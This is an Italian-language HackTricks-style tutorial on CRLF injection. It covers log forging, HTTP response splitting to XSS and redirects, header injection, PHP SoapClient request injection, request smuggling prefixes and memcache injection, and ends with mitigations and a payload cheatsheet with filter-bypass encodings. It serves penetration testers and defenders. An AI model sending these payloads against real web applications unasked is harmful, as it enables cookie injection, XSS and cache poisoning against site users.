CRLF (%0D%0A) Injection

Bug bounty tip: iscriviti a Intigriti, una premium bug bounty platform creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi, e inizia a guadagnare bounty fino a $100,000!

CRLF

Carriage Return (CR) e Line Feed (LF), collettivamente noti come CRLF, sono sequenze di caratteri speciali utilizzate nel protocollo HTTP per denotare la fine di una riga o l'inizio di una nuova. I server web e i browser utilizzano CRLF per distinguere tra le intestazioni HTTP e il corpo di una risposta. Questi caratteri sono impiegati universalmente nelle comunicazioni HTTP/1.1 attraverso vari tipi di server web, come Apache e Microsoft IIS.

CRLF Injection Vulnerability

L'iniezione CRLF comporta l'inserimento di caratteri CR e LF nell'input fornito dall'utente. Questa azione inganna il server, l'applicazione o l'utente facendoli interpretare la sequenza iniettata come la fine di una risposta e l'inizio di un'altra. Sebbene questi caratteri non siano intrinsecamente dannosi, il loro uso improprio può portare a HTTP response splitting e ad altre attività malevole.

Example: CRLF Injection in a Log File

Example from here

Considera un file di log in un pannello di amministrazione che segue il formato: IP - Time - Visited Path. Un'entrata tipica potrebbe apparire così:

123.123.123.123 - 08:15 - /index.php?page=home

Un attaccante può sfruttare un'iniezione CRLF per manipolare questo log. Iniettando caratteri CRLF nella richiesta HTTP, l'attaccante può alterare il flusso di output e fabbricare voci di log. Ad esempio, una sequenza iniettata potrebbe trasformare la voce di log in:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Qui, %0d e %0a rappresentano le forme codificate in URL di CR e LF. Dopo l'attacco, il log mostrerebbe in modo fuorviante:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

L'attaccante quindi maschera le proprie attività malevole facendole apparire come se il localhost (un'entità tipicamente fidata all'interno dell'ambiente server) avesse eseguito le azioni. Il server interpreta la parte della query che inizia con %0d%0a come un singolo parametro, mentre il parametro restrictedaction viene analizzato come un altro input separato. La query manipolata imita efficacemente un comando amministrativo legittimo: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Descrizione

HTTP Response Splitting è una vulnerabilità di sicurezza che si verifica quando un attaccante sfrutta la struttura delle risposte HTTP. Questa struttura separa le intestazioni dal corpo utilizzando una sequenza di caratteri specifica, Carriage Return (CR) seguito da Line Feed (LF), collettivamente denominata CRLF. Se un attaccante riesce a inserire una sequenza CRLF in un'intestazione di risposta, può manipolare efficacemente il contenuto della risposta successiva. Questo tipo di manipolazione può portare a gravi problemi di sicurezza, in particolare Cross-site Scripting (XSS).

XSS attraverso HTTP Response Splitting

1. L'applicazione imposta un'intestazione personalizzata come questa: X-Custom-Header: UserInput

2. L'applicazione recupera il valore per UserInput da un parametro di query, diciamo "user_input". In scenari privi di una corretta validazione e codifica dell'input, un attaccante può creare un payload che include la sequenza CRLF, seguita da contenuto malevolo.

3. Un attaccante crea un URL con un 'user_input' appositamente creato: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• In questo URL, %0d%0a%0d%0a è la forma codificata in URL di CRLFCRLF. Inganna il server facendogli inserire una sequenza CRLF, costringendo il server a trattare la parte successiva come il corpo della risposta.

4. Il server riflette l'input dell'attaccante nell'intestazione di risposta, portando a una struttura di risposta non intenzionata in cui lo script malevolo viene interpretato dal browser come parte del corpo della risposta.

Un esempio di HTTP Response Splitting che porta a un Redirect

Da https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser a:

/%0d%0aLocation:%20http://myweb.com

E il server risponde con l'intestazione:

Location: http://myweb.com

Altro esempio: (da https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

In URL Path

Puoi inviare il payload all'interno del percorso URL per controllare la risposta dal server (esempio da qui):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Check more examples in:

Iniezione di Header HTTP

L'iniezione di header HTTP, spesso sfruttata attraverso l'iniezione CRLF (Carriage Return e Line Feed), consente agli attaccanti di inserire header HTTP. Questo può compromettere meccanismi di sicurezza come i filtri XSS (Cross-Site Scripting) o il SOP (Same-Origin Policy), portando potenzialmente ad accessi non autorizzati a dati sensibili, come i token CSRF, o alla manipolazione delle sessioni utente tramite l'inserimento di cookie.

Sfruttare CORS tramite Iniezione di Header HTTP

Un attaccante può iniettare header HTTP per abilitare CORS (Cross-Origin Resource Sharing), eludendo le restrizioni imposte dal SOP. Questa violazione consente a script provenienti da origini malevole di interagire con risorse di un'origine diversa, accedendo potenzialmente a dati protetti.

SSRF e Iniezione di Richiesta HTTP tramite CRLF

L'iniezione CRLF può essere utilizzata per creare e iniettare una nuova richiesta HTTP. Un esempio notevole di questo è la vulnerabilità nella classe SoapClient di PHP, specificamente all'interno del parametro user_agent. Manipolando questo parametro, un attaccante può inserire header e contenuti del corpo aggiuntivi, o persino iniettare completamente una nuova richiesta HTTP. Di seguito è riportato un esempio PHP che dimostra questo sfruttamento:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

Per ulteriori informazioni su questa tecnica e sui potenziali problemi controlla la fonte originale.

Puoi iniettare intestazioni essenziali per garantire che il back-end mantenga la connessione aperta dopo aver risposto alla richiesta iniziale:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Dopo, può essere specificata una seconda richiesta. Questo scenario coinvolge tipicamente HTTP request smuggling, una tecnica in cui intestazioni o elementi del corpo aggiunti dal server dopo l'iniezione possono portare a vari exploit di sicurezza.

Sfruttamento:

1. Iniezione di Prefisso Maligno: Questo metodo implica il avvelenamento della richiesta del prossimo utente o di una cache web specificando un prefisso maligno. Un esempio di questo è:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Creazione di un Prefisso per il Avvelenamento della Coda di Risposta: Questo approccio implica la creazione di un prefisso che, quando combinato con spazzatura finale, forma una seconda richiesta completa. Questo può attivare l'avvelenamento della coda di risposta. Un esempio è:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Iniezione Memcache

Memcache è un archivio chiave-valore che utilizza un protocollo in chiaro. Maggiori informazioni in:

Per informazioni complete leggi il report originale

Se una piattaforma sta prendendo dati da una richiesta HTTP e utilizzandoli senza sanitizzarli per effettuare richieste a un server memcache, un attaccante potrebbe abusare di questo comportamento per iniettare nuovi comandi memcache.

Ad esempio, nella vulnerabilità scoperta originariamente, le chiavi della cache venivano utilizzate per restituire l'IP e la porta a cui un utente dovrebbe connettersi, e gli attaccanti erano in grado di iniettare comandi memcache che avrebbero avvelenato la cache per inviare i dettagli delle vittime (inclusi nomi utente e password) ai server dell'attaccante:

Inoltre, i ricercatori hanno anche scoperto che potevano desincronizzare le risposte memcache per inviare l'IP e le porte degli attaccanti a utenti di cui l'attaccante non conosceva l'email:

Come Prevenire Iniezioni CRLF / HTTP Header nelle Applicazioni Web

Per mitigare i rischi di iniezioni CRLF (Carriage Return e Line Feed) o HTTP Header nelle applicazioni web, si raccomandano le seguenti strategie:

1. Evitare l'Input Diretto dell'Utente negli Header di Risposta: L'approccio più sicuro è astenersi dall'incorporare input forniti dall'utente direttamente negli header di risposta.

2. Codificare i Caratteri Speciali: Se evitare l'input diretto dell'utente non è fattibile, assicurati di utilizzare una funzione dedicata alla codifica di caratteri speciali come CR (Carriage Return) e LF (Line Feed). Questa pratica previene la possibilità di iniezione CRLF.

3. Aggiornare il Linguaggio di Programmazione: Aggiorna regolarmente il linguaggio di programmazione utilizzato nelle tue applicazioni web all'ultima versione. Opta per una versione che di per sé non consenta l'iniezione di caratteri CR e LF all'interno delle funzioni incaricate di impostare gli header HTTP.

CHEATSHEET

Cheatsheet da qui

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Strumenti Automatici

• https://github.com/Raghavd3v/CRLFsuite

• https://github.com/dwisiswant0/crlfuzz

Elenco di Rilevamento Brute-Force

• https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

Riferimenti

• https://www.invicti.com/blog/web-security/crlf-http-header/

• https://www.acunetix.com/websitesecurity/crlf-injection/

• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning

• https://www.netsparker.com/blog/web-security/crlf-http-header/

Suggerimento per bug bounty: iscriviti a Intigriti, una premium bug bounty platform creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi, e inizia a guadagnare ricompense fino a $100,000!